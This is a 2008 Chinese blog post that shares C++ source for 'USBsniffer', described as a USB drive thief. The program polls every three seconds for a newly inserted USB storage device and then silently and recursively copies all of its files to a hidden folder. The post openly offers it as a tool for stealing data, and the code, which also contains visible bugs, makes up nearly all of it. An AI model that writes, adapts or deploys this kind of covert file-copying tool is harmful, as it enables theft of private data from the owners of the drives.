载入中,请稍候……

U盘小偷c++源码

Admin 于 2008-08-25 06:23:31 发表C/C++

订阅: http://www.miniboke.com/Feed/Article_4.aspx
引用: http://www.miniboke.com/Trackback/eVJlkuinqqqoMWcPRqMF.aspx (UTF-8)
arp攻击源代码(收集) < U盘小偷c++源码 > 连连看算法

/*USBsniffer*/

功能简介:

本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路
 

  1. #include <iostream> 
  2. #include <stdlib.h> 
  3. #include <io.h> 
  4. #include <windows.h> 
  5. #include <string> 
  6. #include <sys/types.h> 
  7. #include <sys/stat.h> 
  8. using namespace std; 
  9. void copyfiles(string source,char *target); 
  10. char *StringToChar(string source); 
  11. bool IsDirectory(const char* fname); 
  12. void Init(); 
  13. int main(int argc,char **argv){ 
  14. if(argc!=2){ 
  15.    Init(); 
  16. else
  17.    while(access(*(argv+1),0)==0){ // if directory already exist,this will auto add '\1' back it; 
  18.      strcat(*(argv+1),"\\1\\"); 
  19.    } 
  20.      if(createDirectory(*(argv+1),NULL)){ 
  21.        DWORD frist=GetLogicalDrives(); 
  22.        DWORD second,n=0; 
  23.        string targetPath="0"
  24.        while(1){ // every 3 seconds to estimate if there is a USB device 
  25.          Sleep(3000); 
  26.          second=GetLogicalDrives(); 
  27.          if(second-frist>0){ 
  28.            second-=frist; 
  29.            while(second>>=1) n++; 
  30.            targetPath[0]=n+65; 
  31.            targetPath+=":\\*"
  32.            copyfiles(targetPath,*(argv+1)); 
  33.            return 0; 
  34.          } 
  35.        } 
  36.      } 
  37. void copyfiles(string source,char *target){ 
  38. WIN32_FIND_DATA FindFileData; 
  39. HANDLE hFind; 
  40. char *sourceDir=0; 
  41. int len; 
  42. sourceDir=StringToChar(source); 
  43. len=strlen(sourceDir); 
  44. hFind = FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file; 
  45. sourceDir[len-1]='\0'// take out '*'; 
  46. while(1){ 
  47.    if(hFind == INVALID_HANDLE_VALUE){ //file found error 
  48.      break
  49.    } 
  50.    else
  51.      char temp[200]; 
  52.      char tempPath[200],tempSource[200]; 
  53.      strcpy(temp,sourceDir); 
  54.      strcat(temp,FindFileData.cFileName); 
  55.      if(IsDirectory(temp)== true){ //estimate whether is a directory 
  56.        if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,"..")){ //take out . & ..dirc 
  57.          strcpy(tempSource,sourceDir); 
  58.          strcat(tempSource,FindFileData.cFileName); 
  59.          strcpy(tempPath,target); 
  60.          strcat(tempPath,FindFileData.cFileName); 
  61.          createDirectory(tempPath,NULL); 
  62.          strcat(tempSource,"\\*"); 
  63.          strcat(tempPath,"\\"); 
  64.          copyfiles(tempSource,tempPath); //Recursion 
  65.        } 
  66.      } 
  67.      else//if is a file,copy to target dirc 
  68.        strcpy(tempSource,sourceDir); 
  69.        strcpy(tempPath,target); 
  70.        strcat(tempPath,FindFileData.cFileName); 
  71.        strcat(tempSource,FindFileData.cFileName); 
  72.        CopyFile(tempSource,tempPath,false); 
  73.      } 
  74.      if(FindNextFile(hFind,&FindFileData)==0) break//found the next file 
  75.    } 
  76. FindClose(hFind);  //handle closed; 
  77. char* StringToChar(string source){ //string convent to char* 
  78. char *ch=new char[source.length()]; 
  79. ch=(char*)source.c_str(); 
  80. return ch; 
  81. bool IsDirectory(const char* fname) //Directory estimate 
  82.  
  83. return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false
  84. void Init(){ //init function 
  85. cout<<"\nUSBsniffer v1.0 \n"<<endl 
  86.    <<"e.g: usbsniffer c:\\usb\\"<<endl 
  87.    <<"\nThen the USB Device'all files will be copy to the directory of c:\\usb\\ without any movement" 
  88.    <<",and the whole log will be saved to c:\\log.txt"<<endl 
  89.    <<"\nWitten By SeeK QQ:771014"<<endl 
  90.    <<"\n2007.2.17"<<endl; 

 

被阅707次, 0投一票U盘
  • 看完了要说点啥么?
  • 昵称 (不填说不了话)
  • 信箱地址 (不会被公开,但是不填也说不了话)
  • 网址 (这个不填也成)

Powered by MiniBoke v2.0.0.8 Build 0828

Copyright © 2008 迷你博客. All rights reserved.

粤ICP备07500939号